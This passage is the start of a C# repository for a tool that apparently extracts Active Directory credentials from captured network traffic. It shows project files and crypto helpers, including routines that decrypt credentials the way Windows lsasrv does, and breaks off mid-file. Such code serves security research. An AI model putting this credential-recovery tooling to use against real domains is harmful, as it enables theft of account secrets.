├── .gitignore ├── LICENSE ├── PassiveAggression.sln ├── PassiveAggression ├── Core │ ├── Crypto │ │ ├── AES.cs │ │ ├── Bcrypt.cs │ │ ├── RC4.cs │ │ ├── Signing.cs │ │ └── Utils.cs │ ├── DataHandler.cs │ ├── Events │ │ ├── GetNCChangesResponse.cs │ │ ├── LookupNamesRequest.cs │ │ ├── NetRLogonSendToSam.cs │ │ ├── NetRServerAuthenticate3Response.cs │ │ ├── RPCBinding.cs │ │ ├── SMBSessionNegotiation.cs │ │ ├── SMBSessionSetup.cs │ │ └── SamrSetInformationUser2.cs │ ├── Misc.cs │ ├── Network │ │ └── TSharkMessage.cs │ ├── Static │ │ ├── Enums.cs │ │ └── Win32.cs │ ├── TShark.cs │ └── Win32 │ │ ├── CustomLoadLibrary.cs │ │ ├── Natives.cs │ │ └── Syscall.cs ├── NtApiDotNet │ └── NtApiDotNet.dll ├── PassiveAggression.csproj ├── Program.cs └── TestData │ ├── Pwdreset │ ├── pwdreset.keytab │ └── pwdreset.pcapng │ └── krbtgt │ ├── krbtgtreset.keytab │ ├── krbtgtreset.pcapng │ └── readme.txt └── Readme.md /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # ASP.NET Scaffolding 65 | ScaffoldingReadMe.txt 66 | 67 | # StyleCop 68 | StyleCopReport.xml 69 | 70 | # Files built by Visual Studio 71 | *_i.c 72 | *_p.c 73 | *_h.h 74 | *.ilk 75 | *.meta 76 | *.obj 77 | *.iobj 78 | *.pch 79 | *.pdb 80 | *.ipdb 81 | *.pgc 82 | *.pgd 83 | *.rsp 84 | *.sbr 85 | *.tlb 86 | *.tli 87 | *.tlh 88 | *.tmp 89 | *.tmp_proj 90 | *_wpftmp.csproj 91 | *.log 92 | *.tlog 93 | *.vspscc 94 | *.vssscc 95 | .builds 96 | *.pidb 97 | *.svclog 98 | *.scc 99 | 100 | # Chutzpah Test files 101 | _Chutzpah* 102 | 103 | # Visual C++ cache files 104 | ipch/ 105 | *.aps 106 | *.ncb 107 | *.opendb 108 | *.opensdf 109 | *.sdf 110 | *.cachefile 111 | *.VC.db 112 | *.VC.VC.opendb 113 | 114 | # Visual Studio profiler 115 | *.psess 116 | *.vsp 117 | *.vspx 118 | *.sap 119 | 120 | # Visual Studio Trace Files 121 | *.e2e 122 | 123 | # TFS 2012 Local Workspace 124 | $tf/ 125 | 126 | # Guidance Automation Toolkit 127 | *.gpState 128 | 129 | # ReSharper is a .NET coding add-in 130 | _ReSharper*/ 131 | *.[Rr]e[Ss]harper 132 | *.DotSettings.user 133 | 134 | # TeamCity is a build add-in 135 | _TeamCity* 136 | 137 | # DotCover is a Code Coverage Tool 138 | *.dotCover 139 | 140 | # AxoCover is a Code Coverage Tool 141 | .axoCover/* 142 | !.axoCover/settings.json 143 | 144 | # Coverlet is a free, cross platform Code Coverage Tool 145 | coverage*.json 146 | coverage*.xml 147 | coverage*.info 148 | 149 | # Visual Studio code coverage results 150 | *.coverage 151 | *.coveragexml 152 | 153 | # NCrunch 154 | _NCrunch_* 155 | .*crunch*.local.xml 156 | nCrunchTemp_* 157 | 158 | # MightyMoose 159 | *.mm.* 160 | AutoTest.Net/ 161 | 162 | # Web workbench (sass) 163 | .sass-cache/ 164 | 165 | # Installshield output folder 166 | [Ee]xpress/ 167 | 168 | # DocProject is a documentation generator add-in 169 | DocProject/buildhelp/ 170 | DocProject/Help/*.HxT 171 | DocProject/Help/*.HxC 172 | DocProject/Help/*.hhc 173 | DocProject/Help/*.hhk 174 | DocProject/Help/*.hhp 175 | DocProject/Help/Html2 176 | DocProject/Help/html 177 | 178 | # Click-Once directory 179 | publish/ 180 | 181 | # Publish Web Output 182 | *.[Pp]ublish.xml 183 | *.azurePubxml 184 | # Note: Comment the next line if you want to checkin your web deploy settings, 185 | # but database connection strings (with potential passwords) will be unencrypted 186 | *.pubxml 187 | *.publishproj 188 | 189 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 190 | # checkin your Azure Web App publish settings, but sensitive information contained 191 | # in these scripts will be unencrypted 192 | PublishScripts/ 193 | 194 | # NuGet Packages 195 | *.nupkg 196 | # NuGet Symbol Packages 197 | *.snupkg 198 | # The packages folder can be ignored because of Package Restore 199 | **/[Pp]ackages/* 200 | # except build/, which is used as an MSBuild target. 201 | !**/[Pp]ackages/build/ 202 | # Uncomment if necessary however generally it will be regenerated when needed 203 | #!**/[Pp]ackages/repositories.config 204 | # NuGet v3's project.json files produces more ignorable files 205 | *.nuget.props 206 | *.nuget.targets 207 | 208 | # Microsoft Azure Build Output 209 | csx/ 210 | *.build.csdef 211 | 212 | # Microsoft Azure Emulator 213 | ecf/ 214 | rcf/ 215 | 216 | # Windows Store app package directories and files 217 | AppPackages/ 218 | BundleArtifacts/ 219 | Package.StoreAssociation.xml 220 | _pkginfo.txt 221 | *.appx 222 | *.appxbundle 223 | *.appxupload 224 | 225 | # Visual Studio cache files 226 | # files ending in .cache can be ignored 227 | *.[Cc]ache 228 | # but keep track of directories ending in .cache 229 | !?*.[Cc]ache/ 230 | 231 | # Others 232 | ClientBin/ 233 | ~$* 234 | *~ 235 | *.dbmdl 236 | *.dbproj.schemaview 237 | *.jfm 238 | *.pfx 239 | *.publishsettings 240 | orleans.codegen.cs 241 | 242 | # Including strong name files can present a security risk 243 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 244 | #*.snk 245 | 246 | # Since there are multiple workflows, uncomment next line to ignore bower_components 247 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 248 | #bower_components/ 249 | 250 | # RIA/Silverlight projects 251 | Generated_Code/ 252 | 253 | # Backup & report files from converting an old project file 254 | # to a newer Visual Studio version. Backup files are not needed, 255 | # because we have git ;-) 256 | _UpgradeReport_Files/ 257 | Backup*/ 258 | UpgradeLog*.XML 259 | UpgradeLog*.htm 260 | ServiceFabricBackup/ 261 | *.rptproj.bak 262 | 263 | # SQL Server files 264 | *.mdf 265 | *.ldf 266 | *.ndf 267 | 268 | # Business Intelligence projects 269 | *.rdl.data 270 | *.bim.layout 271 | *.bim_*.settings 272 | *.rptproj.rsuser 273 | *- [Bb]ackup.rdl 274 | *- [Bb]ackup ([0-9]).rdl 275 | *- [Bb]ackup ([0-9][0-9]).rdl 276 | 277 | # Microsoft Fakes 278 | FakesAssemblies/ 279 | 280 | # GhostDoc plugin setting file 281 | *.GhostDoc.xml 282 | 283 | # Node.js Tools for Visual Studio 284 | .ntvs_analysis.dat 285 | node_modules/ 286 | 287 | # Visual Studio 6 build log 288 | *.plg 289 | 290 | # Visual Studio 6 workspace options file 291 | *.opt 292 | 293 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 294 | *.vbw 295 | 296 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 297 | *.vbp 298 | 299 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 300 | *.dsw 301 | *.dsp 302 | 303 | # Visual Studio 6 technical files 304 | *.ncb 305 | *.aps 306 | 307 | # Visual Studio LightSwitch build output 308 | **/*.HTMLClient/GeneratedArtifacts 309 | **/*.DesktopClient/GeneratedArtifacts 310 | **/*.DesktopClient/ModelManifest.xml 311 | **/*.Server/GeneratedArtifacts 312 | **/*.Server/ModelManifest.xml 313 | _Pvt_Extensions 314 | 315 | # Paket dependency manager 316 | .paket/paket.exe 317 | paket-files/ 318 | 319 | # FAKE - F# Make 320 | .fake/ 321 | 322 | # CodeRush personal settings 323 | .cr/personal 324 | 325 | # Python Tools for Visual Studio (PTVS) 326 | __pycache__/ 327 | *.pyc 328 | 329 | # Cake - Uncomment if you are using it 330 | # tools/** 331 | # !tools/packages.config 332 | 333 | # Tabs Studio 334 | *.tss 335 | 336 | # Telerik's JustMock configuration file 337 | *.jmconfig 338 | 339 | # BizTalk build output 340 | *.btp.cs 341 | *.btm.cs 342 | *.odx.cs 343 | *.xsd.cs 344 | 345 | # OpenCover UI analysis results 346 | OpenCover/ 347 | 348 | # Azure Stream Analytics local run output 349 | ASALocalRun/ 350 | 351 | # MSBuild Binary and Structured Log 352 | *.binlog 353 | 354 | # NVidia Nsight GPU debugger configuration file 355 | *.nvuser 356 | 357 | # MFractors (Xamarin productivity tool) working folder 358 | .mfractor/ 359 | 360 | # Local History for Visual Studio 361 | .localhistory/ 362 | 363 | # Visual Studio History (VSHistory) files 364 | .vshistory/ 365 | 366 | # BeatPulse healthcheck temp database 367 | healthchecksdb 368 | 369 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 370 | MigrationBackup/ 371 | 372 | # Ionide (cross platform F# VS Code tools) working folder 373 | .ionide/ 374 | 375 | # Fody - auto-generated XML schema 376 | FodyWeavers.xsd 377 | 378 | # VS Code files for those working on multiple tools 379 | .vscode/* 380 | !.vscode/settings.json 381 | !.vscode/tasks.json 382 | !.vscode/launch.json 383 | !.vscode/extensions.json 384 | *.code-workspace 385 | 386 | # Local History for Visual Studio Code 387 | .history/ 388 | 389 | # Windows Installer files from build outputs 390 | *.cab 391 | *.msi 392 | *.msix 393 | *.msm 394 | *.msp 395 | 396 | # JetBrains Rider 397 | *.sln.iml 398 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 hackett92 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PassiveAggression.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34031.279 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PassiveAgression", "PassiveAggression\PassiveAggression.csproj", "{4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {4E646ACF-58BD-430A-B7BD-9F7D7D75FEE8}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {5FCE2DCE-24D9-402A-BFE2-626CC6E5DC64} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Crypto/AES.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace PassiveAgression.Core.Crypto 9 | { 10 | public class AES 11 | { 12 | /// 13 | /// Decrypts AES128 CFB8 ciphertext with given key and Iv 14 | /// 15 | /// 16 | /// 17 | /// 18 | /// 19 | public static byte[] DecryptAES128CFB8(byte[] ciphertext, byte[] key, byte[] iv) 20 | { 21 | using (Aes aesAlg = Aes.Create()) 22 | { 23 | aesAlg.Key = key; 24 | 25 | if (iv != null) { aesAlg.IV = iv; } 26 | 27 | 28 | aesAlg.Mode = CipherMode.CFB; 29 | aesAlg.Padding = PaddingMode.None; 30 | 31 | using (ICryptoTransform decryptor = aesAlg.CreateDecryptor()) 32 | { 33 | byte[] decryptedBytes = decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length); 34 | return decryptedBytes; 35 | } 36 | } 37 | } 38 | 39 | /// 40 | /// Decrypts AES256 cipherText with given key and Iv 41 | /// 42 | /// 43 | /// 44 | /// 45 | /// 46 | /// 47 | public static byte[] DecryptAES256(byte[] cipherText, byte[] key, byte[] iv, CipherMode ciphermode) 48 | { 49 | using (AesManaged aesAlg = new AesManaged()) 50 | { 51 | aesAlg.Key = key; 52 | aesAlg.IV = iv; 53 | aesAlg.Mode = ciphermode; 54 | //aesAlg.Padding = PaddingMode.PKCS7; 55 | aesAlg.Padding = PaddingMode.None; 56 | 57 | using (MemoryStream msDecrypt = new MemoryStream()) 58 | { 59 | using (ICryptoTransform decryptor = aesAlg.CreateDecryptor()) 60 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write)) 61 | { 62 | csDecrypt.Write(cipherText, 0, cipherText.Length); 63 | } 64 | return msDecrypt.ToArray(); 65 | } 66 | } 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Crypto/Bcrypt.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32.SafeHandles; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Reflection.Metadata; 6 | using System.Runtime.ConstrainedExecution; 7 | using System.Runtime.InteropServices; 8 | using System.Security; 9 | using System.Text; 10 | using System.Threading.Tasks; 11 | using static PassiveAgression.Core.Win32.Natives; 12 | 13 | namespace PassiveAgression.Core.Crypto 14 | { 15 | internal class Bcrypt 16 | { 17 | public static string BCRYPT_AES_ALGORITHM = "AES"; 18 | public static string BCRYPT_3DES_ALGORITHM = "3DES"; 19 | public static string BCRYPT_CHAINING_MODE = "ChainingMode"; 20 | 21 | public static string BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC"; 22 | public static string BCRYPT_CHAIN_MODE_CFB = "ChainingModeCFB"; 23 | 24 | [System.Security.SecurityCritical(System.Security.SecurityCriticalScope.Everything)] 25 | internal sealed class SafeBCryptAlgorithmHandle : SafeHandleZeroOrMinusOneIsInvalid 26 | { 27 | private SafeBCryptAlgorithmHandle() : base(true) 28 | { 29 | } 30 | 31 | protected override bool ReleaseHandle() 32 | { 33 | return (NTSTATUS)BCryptCloseAlgorithmProvider(handle, 0) == NTSTATUS.Success; 34 | } 35 | } 36 | 37 | [SecuritySafeCritical] 38 | internal sealed class SafeBCryptKeyHandle : SafeHandleZeroOrMinusOneIsInvalid 39 | { 40 | internal SafeBCryptKeyHandle() : base(true) { } 41 | 42 | [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] 43 | protected override bool ReleaseHandle() 44 | { 45 | return (NTSTATUS)BCryptDestroyKey(handle) == NTSTATUS.Success; 46 | } 47 | } 48 | 49 | public static byte[] DecryptCredentials(byte[] encrypedPass, byte[] IV, byte[] aeskey, byte[] deskey) 50 | { 51 | SafeBCryptAlgorithmHandle hProvider, hDesProvider; 52 | SafeBCryptKeyHandle hAes, hDes; 53 | int result; 54 | NTSTATUS status; 55 | 56 | byte[] passDecrypted = new byte[1024]; 57 | byte[] initializationVector = new byte[16]; 58 | 59 | // Same IV used for each cred, so we need to work on a local copy as this is updated 60 | // each time by BCryptDecrypt 61 | Array.Copy(IV, initializationVector, IV.Length); 62 | 63 | if ((encrypedPass.Length % 8) != 0) 64 | { 65 | // If suited to AES, lsasrv uses AES in CFB mode 66 | BCryptOpenAlgorithmProvider(out hProvider, BCRYPT_AES_ALGORITHM, null, 0); 67 | 68 | 69 | using (hProvider) 70 | { 71 | BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CFB, BCRYPT_CHAIN_MODE_CFB.Length, 0); 72 | 73 | GCHandle pkeypinnedArray = GCHandle.Alloc(aeskey, GCHandleType.Pinned); 74 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject(); 75 | 76 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned); 77 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject(); 78 | 79 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned); 80 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject(); 81 | 82 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned); 83 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject(); 84 | 85 | BCryptGenerateSymmetricKey(hProvider, out hAes, IntPtr.Zero, 0, pkey, aeskey.Length, 0); 86 | using (hAes) 87 | { 88 | status = (NTSTATUS)BCryptDecrypt(hAes, pencrypedPass, encrypedPass.Length, IntPtr.Zero, pinitializationVector, IV.Length, ppassDecrypted, passDecrypted.Length, out result, 0); 89 | if (status != 0) 90 | { 91 | return new byte[0]; 92 | } 93 | } 94 | } 95 | } 96 | else 97 | { 98 | // If suited to 3DES, lsasrv uses 3DES in CBC mode 99 | BCryptOpenAlgorithmProvider(out hDesProvider, BCRYPT_3DES_ALGORITHM, null, 0); 100 | 101 | using (hDesProvider) 102 | { 103 | BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CBC, BCRYPT_CHAIN_MODE_CBC.Length, 0); 104 | 105 | GCHandle pkeypinnedArray = GCHandle.Alloc(deskey, GCHandleType.Pinned); 106 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject(); 107 | 108 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned); 109 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject(); 110 | 111 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned); 112 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject(); 113 | 114 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned); 115 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject(); 116 | 117 | BCryptGenerateSymmetricKey(hDesProvider, out hDes, IntPtr.Zero, 0, pkey, deskey.Length, 0); 118 | using (hDes) 119 | { 120 | status = (NTSTATUS)BCryptDecrypt(hDes, pencrypedPass, encrypedPass.Length, IntPtr.Zero, pinitializationVector, 8, ppassDecrypted, passDecrypted.Length, out result, 0); 121 | if (status != 0) 122 | { 123 | return new byte[0]; 124 | } 125 | } 126 | } 127 | } 128 | 129 | Array.Resize(ref passDecrypted, result); 130 | return passDecrypted; 131 | } 132 | 133 | // encrypt credentials using AES or 3Des 134 | public static byte[] EncryptCredentials(byte[] passDecrypted, byte[] IV, byte[] aeskey, byte[] deskey) 135 | { 136 | SafeBCryptAlgorithmHandle hProvider, hDesProvider; 137 | SafeBCryptKeyHandle hAes, hDes; 138 | int result; 139 | NTSTATUS status; 140 | 141 | byte[] encrypedPass = new byte[1024]; 142 | byte[] initializationVector = new byte[16]; 143 | 144 | // Same IV used for each cred, so we need to work on a local copy as this is updated 145 | // each time by BCryptDecrypt 146 | Array.Copy(IV, initializationVector, IV.Length); 147 | 148 | if ((passDecrypted.Length % 8) != 0) 149 | { 150 | // If suited to AES, lsasrv uses AES in CFB mode 151 | BCryptOpenAlgorithmProvider(out hProvider, BCRYPT_AES_ALGORITHM, null, 0); 152 | using (hProvider) 153 | { 154 | BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CFB, BCRYPT_CHAIN_MODE_CFB.Length, 0); 155 | 156 | GCHandle pkeypinnedArray = GCHandle.Alloc(aeskey, GCHandleType.Pinned); 157 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject(); 158 | 159 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned); 160 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject(); 161 | 162 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned); 163 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject(); 164 | 165 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned); 166 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject(); 167 | 168 | BCryptGenerateSymmetricKey(hProvider, out hAes, IntPtr.Zero, 0, pkey, aeskey.Length, 0); 169 | using (hAes) 170 | { 171 | status = (NTSTATUS)BCryptEncrypt(hAes, ppassDecrypted, passDecrypted.Length, IntPtr.Zero, pinitializationVector, IV.Length, pencrypedPass, encrypedPass.Length, out result, 0); 172 | if (status != 0) 173 | { 174 | return new byte[0]; 175 | } 176 | } 177 | } 178 | } 179 | else 180 | { 181 | // If suited to 3DES, lsasrv uses 3DES in CBC mode 182 | BCryptOpenAlgorithmProvider(out hDesProvider, BCRYPT_3DES_ALGORITHM, null, 0); 183 | 184 | using (hDesProvider) 185 | { 186 | BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_CBC, BCRYPT_CHAIN_MODE_CBC.Length, 0); 187 | 188 | GCHandle pkeypinnedArray = GCHandle.Alloc(deskey, GCHandleType.Pinned); 189 | IntPtr pkey = pkeypinnedArray.AddrOfPinnedObject(); 190 | 191 | GCHandle pencrypedPasspinnedArray = GCHandle.Alloc(encrypedPass, GCHandleType.Pinned); 192 | IntPtr pencrypedPass = pencrypedPasspinnedArray.AddrOfPinnedObject(); 193 | 194 | GCHandle pinitializationVectorpinnedArray = GCHandle.Alloc(initializationVector, GCHandleType.Pinned); 195 | IntPtr pinitializationVector = pinitializationVectorpinnedArray.AddrOfPinnedObject(); 196 | 197 | GCHandle ppassDecryptedinnedArray = GCHandle.Alloc(passDecrypted, GCHandleType.Pinned); 198 | IntPtr ppassDecrypted = ppassDecryptedinnedArray.AddrOfPinnedObject(); 199 | 200 | BCryptGenerateSymmetricKey(hDesProvider, out hDes, IntPtr.Zero, 0, pkey, deskey.Length, 0); 201 | using (hDes) 202 | { 203 | status = (NTSTATUS)BCryptEncrypt(hDes, ppassDecrypted, passDecrypted.Length, IntPtr.Zero, pinitializationVector, 8, pencrypedPass, encrypedPass.Length, out result, 0); 204 | if (status != 0) 205 | { 206 | return new byte[0]; 207 | } 208 | } 209 | } 210 | } 211 | 212 | Array.Resize(ref encrypedPass, result); 213 | 214 | return encrypedPass; 215 | } 216 | 217 | 218 | } 219 | } 220 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Crypto/RC4.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace PassiveAgression.Core.Crypto 8 | { 9 | public class RC4 10 | { 11 | 12 | private class _RC4 : IDisposable 13 | { 14 | private byte[] s; 15 | private int i, j; 16 | 17 | public _RC4(byte[] key) 18 | { 19 | s = new byte[256]; 20 | for (int k = 0; k < 256; k++) 21 | { 22 | s[k] = (byte)k; 23 | } 24 | 25 | int j = 0; 26 | for (int k = 0; k < 256; k++) 27 | { 28 | j = (j + key[k % key.Length] + s[k]) & 255; 29 | Swap(s, k, j); 30 | } 31 | 32 | i = j = 0; 33 | } 34 | 35 | public byte[] TransformFinalBlock(byte[] inputBuffer, int offset, int count) 36 | { 37 | byte[] outputBuffer = new byte[count]; 38 | for (int k = 0; k < count; k++) 39 | { 40 | i = (i + 1) & 255; 41 | j = (j + s[i]) & 255; 42 | Swap(s, i, j); 43 | outputBuffer[k] = (byte)(inputBuffer[offset + k] ^ s[(s[i] + s[j]) & 255]); 44 | } 45 | return outputBuffer; 46 | } 47 | 48 | private void Swap(byte[] array, int i, int j) 49 | { 50 | byte temp = array[i]; 51 | array[i] = array[j]; 52 | array[j] = temp; 53 | } 54 | 55 | public void Dispose() 56 | { 57 | Array.Clear(s, 0, s.Length); 58 | } 59 | } 60 | 61 | /// 62 | /// Encrypts or decrypt data using given key 63 | /// 64 | /// 65 | /// 66 | /// 67 | public static byte[] TransformData(byte[] encryptedData, byte[] key) 68 | { 69 | try 70 | { 71 | // Create an instance of the RC4 algorithm 72 | using (_RC4 rc4 = new _RC4(key)) 73 | { 74 | 75 | // Decrypt the data 76 | byte[] decryptedBytes = rc4.TransformFinalBlock(encryptedData, 0, encryptedData.Length); 77 | return decryptedBytes; 78 | } 79 | 80 | } 81 | catch (Exception ex) 82 | { 83 | // Handle any exceptions that may occur during decryption 84 | Console.WriteLine("Decryption error: " + ex.Message); 85 | return null; 86 | } 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Crypto/Signing.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace PassiveAgression.Core.Crypto 9 | { 10 | internal class Signing 11 | { 12 | /// 13 | /// Thx: https://github.com/fortra/impacket/blob/master/impacket/crypto.py#L211 14 | /// 15 | /// 16 | /// 17 | /// 18 | /// 19 | /// 20 | /// 21 | public static byte[] ComputeHMACSha256KDFCounterMode(byte[] KI, byte[] Label, byte[] Context, int L) 22 | { 23 | int h = 256; 24 | int n = L / h; 25 | int r = 32; 26 | if (n == 0) 27 | { 28 | n = 1; 29 | } 30 | 31 | if (n > Math.Pow(2, r) - 1) 32 | { 33 | throw new Exception("Error computing KDF_CounterMode"); 34 | } 35 | 36 | byte[] result = new byte[0]; 37 | byte[] K = new byte[0]; 38 | 39 | for (int i = 1; i <= n; i++) 40 | { 41 | byte[] input = BitConverter.GetBytes(i).Reverse().ToArray() 42 | .Concat(Label) 43 | .Concat(new byte[] { 0 }) 44 | .Concat(Context) 45 | .Concat(BitConverter.GetBytes(L).Reverse().ToArray()) 46 | .ToArray(); 47 | 48 | using (HMACSHA256 hmac = new HMACSHA256(KI)) 49 | { 50 | K = hmac.ComputeHash(input); 51 | } 52 | 53 | result = result.Concat(K).ToArray(); 54 | } 55 | 56 | return result.Take(L / 8).ToArray(); 57 | } 58 | 59 | /// 60 | /// Computes MD5 hash of given data 61 | /// 62 | /// 63 | /// 64 | public static byte[] ComputeMD5Hash(byte[] data) 65 | { 66 | try 67 | { 68 | 69 | // Create an instance of the MD5 algorithm 70 | using (MD5 md5 = MD5.Create()) 71 | { 72 | // Calculate the MD5 hash 73 | byte[] hashBytes = md5.ComputeHash(data); 74 | 75 | return hashBytes; 76 | } 77 | } 78 | catch (Exception ex) 79 | { 80 | // Handle any exceptions that may occur during hash calculation 81 | Console.WriteLine("MD5 calculation error: " + ex.Message); 82 | return null; 83 | } 84 | } 85 | 86 | /// 87 | /// Calculates HmacSHA512 key 88 | /// 89 | /// 90 | /// 91 | /// 92 | public static byte[] CalculateHmacSha512(byte[] key, byte[] data) 93 | { 94 | using (HMACSHA512 hmac = new HMACSHA512(key)) 95 | { 96 | return hmac.ComputeHash(data); 97 | } 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Crypto/Utils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using 